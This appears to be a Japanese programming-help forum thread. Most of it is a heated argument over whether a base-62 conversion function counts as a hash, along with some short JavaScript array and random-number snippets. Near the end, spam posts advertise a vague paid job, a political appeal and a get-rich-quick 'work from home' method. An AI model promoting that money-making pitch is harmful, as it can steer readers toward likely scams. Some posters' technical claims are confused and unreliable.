引用するなら引用元のページも欠くのが最低限コードを書いた人への礼儀だぞ
0473Name_Not_Found
垢版 |
2015/01/05(月) 00:35:44.49ID:???
>>471
ハッシュ化したいならその関数は使えません。
なぜならハッシュ化してないからです。
0475Name_Not_Found
垢版 |
2015/01/05(月) 00:43:52.51ID:???
しかも無駄な処理をしていてさらに言えば遅い
0476Name_Not_Found
垢版 |
2015/01/05(月) 00:44:07.18ID:???
473
お前はまずハッシュの定義について勉強しなおしてこい
0477Name_Not_Found
垢版 |
2015/01/05(月) 00:46:17.29ID:???
暗号学的なhashもあれば、単にデータを区別する値もhashと言うよな
0478Name_Not_Found
垢版 |
2015/01/05(月) 00:51:58.29ID:???
何の目的に使うのか知らんが、それを読む限り、10進数を62進数にしているように見える。
若干並びを入れ替えているみたいだが。
単純すぎてパスワード保存用とかには使えないぞ。
ちゃんとしたハッシュアルゴリズムを実装すべきだと思うが。
0479Name_Not_Found
垢版 |
2015/01/05(月) 00:58:36.82ID:???
10進数⇒62進数変換ではなかったな。
62進数に近い何かをやってる
0480Name_Not_Found
垢版 |
2015/01/05(月) 01:10:24.46ID:???
>>476
これでいーですかー?w
http://e-words.jp/w/E3838FE38383E382B7E383A5E580A4.html

> 元になるデータから一定の計算手順により求められた、【規則性のない固定長の値。】
> その性質から暗号や認証、データ構造などに応用されている。ハッシュ値を求めるための
> 計算手順のことをハッシュ関数、要約関数、メッセージダイジェスト関数などという。
>
> 【ハッシュ値は元のデータの長さによらず一定の長さとなっており】、同じデータからは必ず同じハッシュ値が得られる一方、
> 【少しでも異なるデータからはまったく異なるハッシュ値が得られる。】
> 【不可逆で情報量の欠損を含む計算過程を経るため、ハッシュ値から元のデータを復元することはできない。】
>
> また、【元のデータよりハッシュ値の方が短い場合(実用上はほとんどの場合が該当する)】、
> 複数の異なるデータから同じハッシュ値が生成される(ハッシュ値の衝突)ことになるが、
> あるデータとそのハッシュ値から、【同じハッシュ値を持つ別のデータを効率よく探索することはできない。】

よってハッシュではありません。

反論あるならどうぞ?
0481Name_Not_Found
垢版 |
2015/01/05(月) 01:10:26.64ID:???
これは最小完全ハッシュ関数だな
shuffleTableをその名の通りシャッフルすれば、shuffleTable毎に一意性のある値が算出されるんじゃね
ただ、確証は無い。衝突の有無は知らん
0482Name_Not_Found
垢版 |
2015/01/05(月) 01:15:21.48ID:???
ちなみに整数を文字列にしているので、
元のデータ量よりもハッシュ値(と称する別のもの)
の方が多くなっている。
0483Name_Not_Found
垢版 |
2015/01/05(月) 01:18:55.95ID:???
>>480
wikipediaくらい見てくれば?反論できないのは君の方と気付くよ
0484Name_Not_Found
垢版 |
2015/01/05(月) 01:24:44.17ID:???
Wikipediaの最小完全ハッシュ関数例を見てもわかるように
最小完全ハッシュ関数は、John Smith -> 1, Lisa Smith -> 0, Sam Doe -> 3, Sandra Dee -> 2
という風に、データが小さくなっているからハッシュなんですよ?

ただの進数変換もどきは逆にデータ量が大きくなっていて
なんのためにあるのかさっぱりわかりませんw
0485Name_Not_Found
垢版 |
2015/01/05(月) 01:28:02.56ID:???
>>484
その結果はただの例だろ
自分で自分の低脳さをさらけ出してるぞ
0486Name_Not_Found
垢版 |
2015/01/05(月) 01:30:52.15ID:???
なお、create62Hash(0,shuffleTable)がA
なお、create62Hash(1,shuffleTable)がB
なお、create62Hash(2,shuffleTable)がC
とハッシュにありまじき予測可能な順番で並んでいるのは
進数変換だからいいとして

create62Hash(61,shuffleTable)が9
create62Hash(62,shuffleTable)がAC

となっており、AAじゃない所を見ると
バグってますねこれ。
0487Name_Not_Found
垢版 |
2015/01/05(月) 01:32:05.41ID:???
>>485
反論しろよw

例が示すものは、俺が言っているとおりだと認めてるのに、
なんで俺が低能になってるんだよw
0488Name_Not_Found
垢版 |
2015/01/05(月) 01:33:40.74ID:???
shuffleTableを変更すればランダムになるというのは
間違いです。

0〜9、A-Z、a-zの文字がそれぞれ置き換わるだけで、
順番はランダムになっていません。

これもハッシュではないことの根拠の一つです。
0489Name_Not_Found
垢版 |
2015/01/05(月) 01:36:31.86ID:???
大元はこれ、
http://workline.xii.jp/texts/oneday_url/
> やってることは進数変換と一緒で、62進で1ケタずつ値を見て、
> それをchr()で対応する文字に変換しています。

やってることは進数変換と一緒と書いてあるとおり
名前がおかしいだけの話です。

やってることが進数変換なら
進数変換(+文字単純置換)です
0490Name_Not_Found
垢版 |
2015/01/05(月) 01:39:28.25ID:???
>>487
だからお前は理解できてないって言ってるだろ
馬鹿に間違いを指摘してるわけ
けど、馬鹿にわざわざ解説して教える気はない
0491Name_Not_Found
垢版 |
2015/01/05(月) 01:43:05.41ID:???
結局、何も言い返せていない(笑)
0492Name_Not_Found
垢版 |
2015/01/05(月) 01:48:02.17ID:???
wikipediaより
>あるデータが与えられた場合にそのデータを代表する数値を得る操作、
>または、その様な数値を得るための関数のこと。ハッシュ関数から得られた数値のことを要約値やハッシュ値または単にハッシュという。

と定義されてる
つまり、データとハッシュ値が結びつくなら固定長である必要も、元の文字より大きくなっても問題ない
単なる進数変換でも広い意味でハッシュと言える
0493Name_Not_Found
垢版 |
2015/01/05(月) 01:50:50.07ID:???
>>492
完全論破ワロタ
このスレにはwikipediaの最初の文も読めない奴がいるのか・・・
0494Name_Not_Found
垢版 |
2015/01/05(月) 01:51:48.96ID:???
> あるデータが与えられた場合にそのデータを代表する【数値を】

数値ではないのでハッシュ変換ではありません
0496Name_Not_Found
垢版 |
2015/01/05(月) 01:53:07.88ID:???
>>494
>>471 の関数は数字を出して、それを文字に置き換えてるでしょ
そんな事もわかってないの?
0497Name_Not_Found
垢版 |
2015/01/05(月) 01:56:18.97ID:???
>>496
数字じゃなくて数値な。
数字というのは数の並び。そこに大小の順番はない。
数値というのは、大小の順番があるもの
違いぐらいわかろうぜ。
0498Name_Not_Found
垢版 |
2015/01/05(月) 01:57:05.53ID:???
>>497
じゃあ訂正する、数値ね
それで、反論は?
0499Name_Not_Found
垢版 |
2015/01/05(月) 02:04:25.06ID:???
create62Hashは入力された引数の数値を
何の処理もせずに、単純に文字列に進数変換しているので
ハッシュ処理としては何もしていません。
0500Name_Not_Found
垢版 |
2015/01/05(月) 02:10:35.34ID:???
499
定義の範囲内でハッシュと呼べるけど?
反論出来てない
間違いを認められないと本当の馬鹿だぞ
0501Name_Not_Found
垢版 |
2015/01/05(月) 02:11:47.11ID:???
お前の出してきた定義はことごとく論破してやったが?

もう根拠残ってねーだろ。

反論しないならレスしなくていいんだよ?
0502Name_Not_Found
垢版 |
2015/01/05(月) 02:12:24.33ID:???
>>499
定義の範囲内ではハッシュです
はい、論破
0503Name_Not_Found
垢版 |
2015/01/05(月) 02:14:36.12ID:???
>>501
お前だけ誤りを叫んでる事にまだ気付いてないの?
0504Name_Not_Found
垢版 |
2015/01/05(月) 02:17:24.55ID:???
反論しないならレスしなくていいんだよ?

って何回言わせるんだw
0505Name_Not_Found
垢版 |
2015/01/05(月) 02:18:14.45ID:???
定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ

何回言えばわかるニダか?

定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ
定義の範囲内ではハッシュニダ


嘘を何回行っても真実にはなりません。
0506Name_Not_Found
垢版 |
2015/01/05(月) 02:18:49.68ID:???
499 Name_Not_Found sage New! 2015/01/05(月) 02:04:25.06 ID:???
create62Hashは入力された引数の数値を
何の処理もせずに、単純に文字列に進数変換しているので
ハッシュ処理としては何もしていません。



ハッシュと呼べます、以上
何か言いたい事ある?
0507Name_Not_Found
垢版 |
2015/01/05(月) 02:19:15.92ID:???
> ハッシュ関数 (ハッシュかんすう、hash function) あるいは要約関数とは、
> あるデータが与えられた場合にそのデータを代表する数値を得る操作、
> または、その様な数値を得るための関数のこと。

どこにも進数変換がハッシュだとは書いてないが?
0508Name_Not_Found
垢版 |
2015/01/05(月) 02:20:30.36ID:???
>>506
何も処理してないなら、ハッシュじゃないのでは?
ハッシュの根拠は何よ?
0510Name_Not_Found
垢版 |
2015/01/05(月) 02:22:25.54ID:???
>>509
なら数値を得ていないから
ハッシュではないですね。
0511Name_Not_Found
垢版 |
2015/01/05(月) 02:23:03.95ID:???
どう見てもデータをに対する数値は得てるよな
理解してないうえに
顔真っ赤にして必死だな
0512Name_Not_Found
垢版 |
2015/01/05(月) 02:23:19.66ID:???
悔しかったら、Wikipedia改ざんしてこいよw
数値を数字に全置換するだけで満足できるだろ?w
0514Name_Not_Found
垢版 |
2015/01/05(月) 02:24:13.84ID:???
>>511
> どう見てもデータをに対する数値は得てるよな

どこに計算によって数値は出てきてないですね。
ただ入力された数値を文字に変換しているだけです。
0515Name_Not_Found
垢版 |
2015/01/05(月) 02:25:45.91ID:???
そもそも入力データが数値しか受け付けない時点で
ハッシュじゃないわなw

その数値も整数値しか扱えないという
(数値の最大値を超えるとバグる)
0516Name_Not_Found
垢版 |
2015/01/05(月) 02:25:52.21ID:???
>悔しかったら、Wikipedia改ざんしてこいよw

ねぇ、反論は?
0517Name_Not_Found
垢版 |
2015/01/05(月) 02:26:59.58ID:???
>>515
え? 普通ハッシュって言ったら
文字や任意のバイナリを数値に計算するものでしょう?
ファイル入力できないんですか?
そんなもの使いものにならないでしょ。
0518Name_Not_Found
垢版 |
2015/01/05(月) 02:27:25.11ID:???
あるデータとはすべてのデータという意味ではありません
日本語も理解できないのかな?
0519Name_Not_Found
垢版 |
2015/01/05(月) 02:27:53.16ID:???
>>516
反論はしません。

だって数値を算出していないから
ハッシュじゃないもの。

はい論破w
0520Name_Not_Found
垢版 |
2015/01/05(月) 02:28:43.02ID:???
まあどう見てもハッシュじゃないよなw
0521Name_Not_Found
垢版 |
2015/01/05(月) 02:29:33.40ID:VxoaMy9m
ただの基数変換をハッシュ計算だと
言い張っているアホが居るスレはここですか?
0522Name_Not_Found
垢版 |
2015/01/05(月) 02:29:37.19ID:???
こんな簡単なコードすら読めないのか・・・
テーブルのキーが数値で、その数値を文字にしてるのにね
0523Name_Not_Found
垢版 |
2015/01/05(月) 02:30:06.89ID:???
おやおや、こんな深夜にw
明日仕事じゃないの?
ニートは羨ましいですなw
0524Name_Not_Found
垢版 |
2015/01/05(月) 02:30:38.42ID:???
523 Name_Not_Found sage New! 2015/01/05(月) 02:30:06.89 ID:???
おやおや、こんな深夜にw
明日仕事じゃないの?
ニートは羨ましいですなw


自己紹介かな?
0525Name_Not_Found
垢版 |
2015/01/05(月) 02:30:44.17ID:???
こんな簡単なコードすら読めないのか・・・
テーブルのキーが数値で、その数値を文字にしてるだけで
ただの置換でハッシュ計算は何もしてないのに
0526Name_Not_Found
垢版 |
2015/01/05(月) 02:31:25.29ID:???
ニートだからハッシュというものを理解できないのか
ハッシュを理解できないからニートなのか。
まあどっちでもいいやw
0528Name_Not_Found
垢版 |
2015/01/05(月) 02:32:48.08ID:???
>>525
その数値は同じ結果が生まれます
どう見てもハッシュです
0529Name_Not_Found
垢版 |
2015/01/05(月) 02:33:02.67ID:???
ここまで必死なのは、あの関数の作者かいな?w
ハッシュ関数ではないと言われたのが
よっぽどショックだったのか?
0530Name_Not_Found
垢版 |
2015/01/05(月) 02:33:38.18ID:???
>>528
ハッシュの定義に当てはまっていない。

反論は?
0531Name_Not_Found
垢版 |
2015/01/05(月) 02:33:51.72ID:???
つまり、定義にあるデータに対する数値を得られてるわけ
わかるかな?ん?
0532Name_Not_Found
垢版 |
2015/01/05(月) 02:34:58.69ID:???
データに対する数値を得られている?

じゃあ例えば65を入力したときの
数値はなんですか?

答えるのは簡単でしょう?

数値で答えてください。
0533Name_Not_Found
垢版 |
2015/01/05(月) 02:35:38.13ID:???
>>530
当てはまってるね

お前さっきから間違った反論しかしてないぞ
0534Name_Not_Found
垢版 |
2015/01/05(月) 02:36:13.43ID:???
>>532
それ、とどめだろw

ぜってー答えらんないってw
0535Name_Not_Found
垢版 |
2015/01/05(月) 02:37:03.68ID:???
>>532
このレスでお前がコードを理解していないことがよくわかった
0536Name_Not_Found
垢版 |
2015/01/05(月) 02:37:31.09ID:???
少し質問が曖昧だったかな?

データに対する数値を得られている?

じゃあ例えば65というデータを入力したときに
得られる数値はなんですか?

答えるのは簡単でしょう?

数値で答えてください。
0537Name_Not_Found
垢版 |
2015/01/05(月) 02:40:19.75ID:???
>>536
スクリプト出てるのにそんな事もわからないの?
馬鹿すぎる
0538Name_Not_Found
垢版 |
2015/01/05(月) 02:41:10.02ID:???
例えば、Wikipediaの例から

John Smith -> 1
Lisa Smith -> 0
Sam Doe -> 3
Sandra Dee -> 2

というようにハッシュであるならばデータに対する数値を得られているわけさ

> ハッシュ関数 (ハッシュかんすう、hash function) あるいは要約関数とは、
> あるデータが与えられた場合にそのデータを代表する数値を得る操作

なのだから、数値を得られるわけだね。

それでcreate62Hash によって
65というデータを入力したときに
得られる数値はなんですか?
0539Name_Not_Found
垢版 |
2015/01/05(月) 02:42:15.04ID:???
>>537
分かった! 数値は得られなかった!
これが答えなんだから仕方ない。
認めるしかないな。ハッシュではないと。
0540Name_Not_Found
垢版 |
2015/01/05(月) 02:42:52.23ID:???
>>538
ただの例にしがみついて必死だな
さっきからお前の反論は間違ってばかり
0542Name_Not_Found
垢版 |
2015/01/05(月) 02:43:59.08ID:???
>>541

>>539
> >>537
> 分かった! 数値は得られなかった!
> これが答えなんだから仕方ない。
> 認めるしかないな。ハッシュではないと。
0543Name_Not_Found
垢版 |
2015/01/05(月) 02:45:18.87ID:???
横ヤリだが、65の数値は65でしょ
それを文字に変換してる
数値連呼してる奴って馬鹿?
0544Name_Not_Found
垢版 |
2015/01/05(月) 02:46:19.42ID:???
>>541
思い込みが激しくて間違いという事に気付けない
これぞ馬鹿の典型だな
0545Name_Not_Found
垢版 |
2015/01/05(月) 02:46:30.57ID:???
>>543
文字に変換しているだけなら
ハッシュではないよ。
0546Name_Not_Found
垢版 |
2015/01/05(月) 02:46:59.48ID:???
>>544
そんな捨て台詞はいらないからさw
説明できない人は引っ込んでいたら?
0547Name_Not_Found
垢版 |
2015/01/05(月) 02:47:09.88ID:???
それをハッシュと言うんだよ、理解できないのかな?
0548Name_Not_Found
垢版 |
2015/01/05(月) 02:47:47.88ID:???
そのうち+1するだけの関数でも
ハッシュ関数だって言いそうだなw
0549Name_Not_Found
垢版 |
2015/01/05(月) 02:48:12.92ID:???
>>547
いういう連呼しても、ハッシュ関数にはなりませんよ。
0550Name_Not_Found
垢版 |
2015/01/05(月) 02:48:50.46ID:???
>>545
いや、単に文字に変換してるわけじゃないでしょ
冷静になってみ?
0551Name_Not_Found
垢版 |
2015/01/05(月) 02:48:53.62ID:???
>>548
マジいいそうで困る。
そこまで馬鹿ではないと思いたいがwww
0552Name_Not_Found
垢版 |
2015/01/05(月) 02:50:14.19ID:???
>>550
コード読めないの?単に文字に変換しているだけだよ。
文字の順番が数値の順番通りじゃないってだけ。

単一換字式暗号ともいう。
0553Name_Not_Found
垢版 |
2015/01/05(月) 02:51:25.94ID:???
これまでの色んなレスで散々結論出てるのに
頑なにハッシュじゃないって言う奴ってなんなの?
否定されたことがよっぽど悔しいのかな?
0554Name_Not_Found
垢版 |
2015/01/05(月) 02:53:00.32ID:???
>>552
ならなんで62より大きな値が文字になってるの?
0555Name_Not_Found
垢版 |
2015/01/05(月) 02:53:30.72ID:???
いろんなレスでハッシュじゃないってさんざん結論でてる

の間違いだろw.

なんでこんなに必死なんだろ?
0556Name_Not_Found
垢版 |
2015/01/05(月) 02:54:00.65ID:7Z1vTrX2
あ、質問だからID出しておくわ
自演と思われたら嫌だからな
0557Name_Not_Found
垢版 |
2015/01/05(月) 02:54:11.77ID:???
>>544
> ならなんで62より大きな値が文字になってるの?
基数変換しているからでは?(ハッシュ計算はしてない)
0558Name_Not_Found
垢版 |
2015/01/05(月) 02:54:40.48ID:???
>>555
はたから見てもお前の負けだ、もう諦めろ
0559Name_Not_Found
垢版 |
2015/01/05(月) 02:55:18.95ID:???
>>558
あ、勝利宣言ってやつですね(笑)

よく負けた奴が言う言葉です。
0560Name_Not_Found
垢版 |
2015/01/05(月) 02:56:07.87ID:7Z1vTrX2
>>557
基数変換を用いるハッシュ法ってあるよね??
0561Name_Not_Found
垢版 |
2015/01/05(月) 02:56:23.02ID:???
>>558
そういうところまで
行動がセオリー通りだなw
0562Name_Not_Found
垢版 |
2015/01/05(月) 02:57:12.17ID:???
>>561
お前さんはとっくに論破されてるのにまだ気付いてないのか
0563Name_Not_Found
垢版 |
2015/01/05(月) 02:58:55.55ID:???
>>560
それはハッシュ計算をした後で基数変換をしているだけだよ。

だから、ライブラリによっては
最終的な表示をバイナリにするか文字にするか、
文字にするなら16進数にするかbase64にするか
決められるわけ。

文字にする変換(基数変換)処理の前段階が、ハッシュ計算という。
0564Name_Not_Found
垢版 |
2015/01/05(月) 02:59:23.72ID:???
>>562
そういうどうでもいいレスするならいなくていいよ
0566Name_Not_Found
垢版 |
2015/01/05(月) 03:02:31.45ID:???
>>564
学歴低そう
理解するためにちゃんと勉強しなさい
0567Name_Not_Found
垢版 |
2015/01/05(月) 03:02:38.53ID:???
質問者も納得したようなのでこれで終了かな。
0568Name_Not_Found
垢版 |
2015/01/05(月) 03:02:41.24ID:???
>>563
この場合、計算されたハッシュはハッシュテーブルでしょ?
やってることはハッシュ化って言えるんじゃないの?
0569Name_Not_Found
垢版 |
2015/01/05(月) 03:03:55.33ID:7Z1vTrX2
シャッフルテーブルだった
あと568は俺です
0570Name_Not_Found
垢版 |
2015/01/05(月) 03:04:42.03ID:???
>>567
間違ってるのに反論してる気になって終了ですか?
0571Name_Not_Found
垢版 |
2015/01/05(月) 03:05:47.34ID:???
>>568
ハッシュテーブル? shuffleTable のこと?
これは、文字に変換する時に使うための
文字を入れ替えるためだけのもので
前段階のハッシュ計算(存在しないが)には使われてない。

だからコードの順番を変えて基数変換した後に
文字を入れ替えることでも同じ結果が出せる
(=ハッシュ計算で使われてない証拠)
0572Name_Not_Found
垢版 |
2015/01/05(月) 03:06:57.73ID:???
>>569
> 569 名前:Name_Not_Found[] 投稿日:2015/01/05(月) 03:03:55.33 ID:7Z1vTrX2
> シャッフルテーブルだった
> あと568は俺です

ID出したり消したりと自作自演してるから忘れるんだよw
0573Name_Not_Found
垢版 |
2015/01/05(月) 03:08:46.64ID:7Z1vTrX2
>>571
ん?基数変換を用いたハッシュ法の話だよね?
そこで言うハッシュ計算って具体的に何を示してるの?
0574Name_Not_Found
垢版 |
2015/01/05(月) 03:08:58.81ID:???
560 名前:Name_Not_Found[] 投稿日:2015/01/05(月) 02:56:07.87 ID:7Z1vTrX2
>>557
基数変換を用いるハッシュ法ってあるよね??


562 名前:Name_Not_Found[sage] 投稿日:2015/01/05(月) 02:57:12.17 ID:???
>>561
お前さんはとっくに論破されてるのにまだ気付いてないのか

569 名前:Name_Not_Found[] 投稿日:2015/01/05(月) 03:03:55.33 ID:7Z1vTrX2
シャッフルテーブルだった
あと568は俺です



>>560==>>562だろうなw
0575Name_Not_Found
垢版 |
2015/01/05(月) 03:09:45.06ID:7Z1vTrX2
>>572
いや、自動でsageるように設定してるだけ
0576Name_Not_Found
垢版 |
2015/01/05(月) 03:09:52.98ID:???
>>573
だからこのcreate62Hashは、ハッシュ計算を何もしていないから
ハッシュではないという話。

ただの基数変換をしているだけ。
0577Name_Not_Found
垢版 |
2015/01/05(月) 03:13:35.56ID:???
>>574
は?違いますけど?
都合が悪くなるとなんでも自演扱いするんだな
0578Name_Not_Found
垢版 |
2015/01/05(月) 03:14:56.33ID:???
>>577
お前はもういいよ。ID:7Z1vTrX2とまじめに会話するからさw
0579Name_Not_Found
垢版 |
2015/01/05(月) 03:15:38.78ID:7Z1vTrX2
>>576
単なる基数変換じゃないと思うけど。
それなら10進数値の総数がそのまま62進数になるよね?
これは基数変換を用いたハッシュ化だと思う
0580Name_Not_Found
垢版 |
2015/01/05(月) 03:19:48.29ID:7Z1vTrX2
あ、けど俺はハッシュであろうがなかろうがどうでもいい事なんで。
疑問に思ったから質問してるだけです
もう寝る。レス汚しすまん
0581Name_Not_Found
垢版 |
2015/01/05(月) 03:19:50.68ID:???
>>579
基数変換して、単一換字変換しただけ。

だから単純に数字の順番通りに、文字も変わっていって
簡単に次の文字の予想がつく

16進数で0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F の代わりに
6,7,8,2,3,B,9,0,1,C,4,5,A,D,E,F という順番で
単一換字変換させるのと一緒。

だからハッシュ計算と呼べるものは何もない。
0582Name_Not_Found
垢版 |
2015/01/05(月) 03:20:50.83ID:???
質問者も寝たようなので、これで終わりかな。
じゃあ俺も寝るか。
0583Name_Not_Found
垢版 |
2015/01/05(月) 03:21:47.34ID:???
>>581
お前のハッシュは予想が付いたらハッシュと呼べないのか?
散々言われてるように勉強してこいって
0584Name_Not_Found
垢版 |
2015/01/05(月) 03:21:54.32ID:???
乙。途中荒れたけど、終わりよければ全てよしということでw
0585Name_Not_Found
垢版 |
2015/01/05(月) 03:23:11.83ID:???
477 Name_Not_Found sage New! 2015/01/05(月) 00:46:17.29 ID:??? [0]
暗号学的なhashもあれば、単にデータを区別する値もhashと言うよな


ほんとこれ
否定してる奴はこれを100回読んで理解しろ
0586Name_Not_Found
垢版 |
2015/01/05(月) 03:24:42.04ID:???
はい、逃げた
都合が悪いとなんでも自演扱いして
自分の誤りを認めなれない低脳でしたとさ
0587Name_Not_Found
垢版 |
2015/01/05(月) 03:29:16.66ID:???
思い込みって怖い
間違った反論しかしてなくて、それを正しいと思ってるからたち悪いね
581の頭は一生治らなさそう
0588Name_Not_Found
垢版 |
2015/01/05(月) 03:43:17.85ID:???
まだやってるw 必死だねぇ
0589Name_Not_Found
垢版 |
2015/01/05(月) 03:45:00.83ID:???
>>588
だな
どうしてお前はそんなに必死なんだ?
誤りを認めたくない気持ちはわかるが、そんなんじゃこの先生きていけないぞ
0591Name_Not_Found
垢版 |
2015/01/05(月) 03:49:55.21ID:???
必死に否定してる奴って変な宗教でもやってるのかなぁ
コードも理解できてないし学も無いようだし。。。
親も馬鹿なんだろうね。可哀相
0593Name_Not_Found
垢版 |
2015/01/05(月) 09:49:55.47ID:???
またはじまったよバカのスレの無駄遣い
0596Name_Not_Found
垢版 |
2015/01/21(水) 15:13:27.52ID:???
1から10までの値の入った配列から指定した値から偶数以外の値をランダムで1個取得する方法で
これ以外に違う書き方を教えてください

var a = [1,2,3,4,5,6,7,8,9,10];
var b = [];
for (var i=0; i<10; i++) {
if (i % 2) {
b.push(i);
}
}
console.log(b[Math.floor(Math.random()*b.length)]);
0597Name_Not_Found
垢版 |
2015/01/21(水) 20:07:02.75ID:???
>>596
1から10は小さい順に10個固定なのか?

そのコードだと

var a = [2,3,4,5,6,7,8,9,10, 1];

時困るだろ?
0598Name_Not_Found
垢版 |
2015/01/21(水) 20:10:26.96ID:???
あと
var a = [2, 4, 6, 8];

の時どうなるのか? とか、

>>596以外にという以前に>>596があっているのか?
0599Name_Not_Found
垢版 |
2015/01/21(水) 20:52:26.16ID:???
>>597-598

var a = [2,3,4,5,6,7,8,9,10, 1]; でも僕のコードでは困ってませんが具体的にどのような事で困りますか?
1から10までと提示したのでvar a = [2, 4, 6, 8]; というのは考えないで構いません
0600Name_Not_Found
垢版 |
2015/01/21(水) 21:01:55.91ID:???
奇数しか使わないんだったら最初から奇数の入った配列でよくない?
それとaって使っていないように見えるんだが・・・
0601Name_Not_Found
垢版 |
2015/01/21(水) 21:05:52.23ID:???
あ、すいません


var a = [1,2,3,4,5,6,7,8,9,10];
var b = [];
for (var i=0; i<10; i++) {
if (a[i] % 2) {
b.push(a[i]);
}
}
console.log(b[Math.floor(Math.random()*b.length)])
0602Name_Not_Found
垢版 |
2015/01/21(水) 21:06:27.16ID:???
奇数の配列を用意するために必要な処理です
0603Name_Not_Found
垢版 |
2015/01/21(水) 21:17:04.68ID:???
>>599
あっそ? 困ってないんだw
1から10までのが入った配列固定なんだw

じゃあ、答えは
Math.floor(Math.random()*5)*2+1;
これでいいよ。

配列の中に入っている値が関係なくて
固定なら配列を使う理由もない。

ま、あなたに出された宿題の答えとしては
間違ってるんだけどねw
0605Name_Not_Found
垢版 |
2015/01/21(水) 21:27:13.17ID:???
>>603
配列の値をフィルターすることが主体なのでそれは参考になりません
0606Name_Not_Found
垢版 |
2015/01/21(水) 21:28:17.36ID:???
>>596
lodash使えば簡単

var a = [1,2,3,4,5,6,7,8,9,10];
var b = _.filter(a, function(num){return num % 2});
console.log(_.sample(b));

一行で書くなら

console.log(_.sample(_.filter([1,2,3,4,5,6,7,8,9,10], function(num){return num % 2})));
0607606
垢版 |
2015/01/21(水) 21:34:03.01ID:???
アロー関数を組み合わせれば更に短く

console.log(_.sample(_.filter([1,2,3,4,5,6,7,8,9,10], num => num % 2)));
0608606
垢版 |
2015/01/21(水) 21:44:15.26ID:???
filterの所はEMCAScript5を使ったほうがわずかに短いな。
アロー関数を使えるならばEMCAScript5に対応しているはずなので。

console.log(_.sample(_.filter([1,2,3,4,5,6,7,8,9,10], num => num % 2)));
console.log(_.sample([1,2,3,4,5,6,7,8,9,10].filter(num => num % 2)));
0609Name_Not_Found
垢版 |
2015/01/22(木) 20:56:05.17ID:???
lodash 3.0 リリース間近!

https://github.com/lodash/lodash
3.0-preから-preが外れました!


スレが多すぎてどこに書けばいいかわからないので
関連スレすべてにマルチポストしています。m(__)m
0610Name_Not_Found
垢版 |
2015/02/09(月) 02:19:58.77ID:???
これってできませんでしたっけ?
var test;
test.hoge=0;
昔できたような気がするんだけど
0611Name_Not_Found
垢版 |
2015/02/09(月) 02:25:55.28ID:???
webaudioapiでmp3をソースにした時に時間を指定してエフェクトをかけるとかできませんか?
例えば1:05の時のアナライザデータ取得とか
0614Name_Not_Found
垢版 |
2015/02/09(月) 15:00:03.74ID:???
昔できたとしても出来る方がおかしいんだから
そんな書き方しなければいい
はい論破
0616Name_Not_Found
垢版 |
2015/02/09(月) 16:14:54.10ID:???
>>610
ECMAScriptの方言のActionScript1.0だと、その書き方でもエラーにならない
0617Name_Not_Found
垢版 |
2015/02/09(月) 16:17:52.61ID:???
undefinedにプロパティあるのはどう考えてもおかしい
はい論破
0618Name_Not_Found
垢版 |
2015/02/09(月) 16:24:43.36ID:???
var test = {hoge:0};

これで万事解決
0621Name_Not_Found
垢版 |
2015/03/29(日) 11:53:58.89ID:3NHmlbZO
最近趣味でプログラミング始めようとしてドットインストールやりながらプログラミングの入門本を何冊か読んだ、プログラミング専門外糞雑魚初心者なんですが、何で質問スレこんなに過疎ってるんですか?
0623Name_Not_Found
垢版 |
2015/03/29(日) 15:04:07.41ID:???
みんな自己解決するからです
0625Name_Not_Found
垢版 |
2015/03/29(日) 19:24:09.13ID:???
>>623
ド初心者を脱すればそんなもんですよね

>>624
酷い荒らしですね。そちらのスレに合流させて頂きます。
丁寧に誘導までして頂き有難うございます。
0626Name_Not_Found
垢版 |
2015/04/09(木) 23:41:45.39ID:???
Javaのバージョンって 1.7とか1.8だけど、
JavaEEのバージョンとの関係が全然解らない。
JavaEE7 はJava 1.7と言う認識で良いの?
0628age
垢版 |
2015/08/09(日) 22:47:03.30ID:???
age
0629Name_Not_Found
垢版 |
2015/08/09(日) 22:58:59.31ID:j0oC/nR5
>>626
JavaはJavaScriptではありません。
0631Name_Not_Found
垢版 |
2015/11/07(土) 17:21:17.61ID:vT73by48
(´・ω・`)
0632Name_Not_Found
垢版 |
2016/02/23(火) 19:00:05.52ID:???
.
.
板違い(?)の上に、話をさえぎってしまいゴメンナサイ!(*_ _)人
でも、この板のユーザーさんにも有意義な告知かと思うのでカキコませてください。

★ 謝礼は十分いたします ★ アメブロなどのサイト制作ができる方!! 

アメブロなどを使用してのサイト制作のできる方を早急に求めています!
私はリケジョやPC女子からはほど遠く、サイト作成にはまったく疎いのでとても不自由しています…(> <;)
そこで私に代わりサイトを作成してくださる方を求めてこの場をお借りしました。

■サイトの内容…
アダルト系、違法性、その他公序良俗に反するものではありませんのでご安心ください。

■サイト制作の仕様ベース…
アメーバブログで十分です。願わくばwordpressなどのブログ形式のサイトを希望します。
それに準ずるもので使い慣れたものがあれば別のものでも構いません。

■条件はありません…
技術さえお持ちでしたら、学歴・職歴等は一切問いません。
フリーター、ニート、高齢ニート、コミュニケーション障害をお持ちの方、引きこもりの方、中年失業者、長期無職等、歓迎!

■作業形態…
作業は在宅でやって頂くことになりますので、時間の指定は一切ありません。別のお仕事の傍らに…でもOKです。

■詳細をお知りになりたい方は…
下記メールアドレスまでご連絡ください。詳しく書いた返信文を差し上げます。

※真剣な告知です。冷やかしはご遠慮ください。

井 上
inoue1952w★gmail.com
迷惑メール対策のため@部分を★にしてあります。
実際に送信する際には★を@マークに変えてください。
.
.
0638Name_Not_Found
垢版 |
2018/02/18(日) 19:08:00.08ID:???
☆ 日本の、改憲を行いましょう。現在、衆議員と参議院の
両院で、改憲議員が3分の2を超えております。
『憲法改正国民投票法』、でググってみてください。国会の発議は
すでに可能です。平和は勝ち取るものです。お願い致します。☆☆
0639Name_Not_Found
垢版 |
2018/05/01(火) 20:45:37.75ID:l1wYHpV1
誰でもできる在宅ワーク儲かる方法
少しでも多くの方の役に立ちたいです
グーグルで検索するといいかも『金持ちになりたい 鎌野介メソッド』

FHO84
0641Name_Not_Found
垢版 |
2021/01/22(金) 14:36:11.61ID:???
はたらくプログラミング 完全版
第3話 変数と条件分岐
https://www.comic-essay.com/episode/read/3323
https://www.comic-essay.com/resize/hataraku/03_1/01.jpg
https://www.comic-essay.com/resize/hataraku/03_1/02.jpg
https://www.comic-essay.com/resize/hataraku/03_1/03.jpg
https://www.comic-essay.com/resize/hataraku/03_1/04.jpg
https://www.comic-essay.com/resize/hataraku/03_1/05.jpg
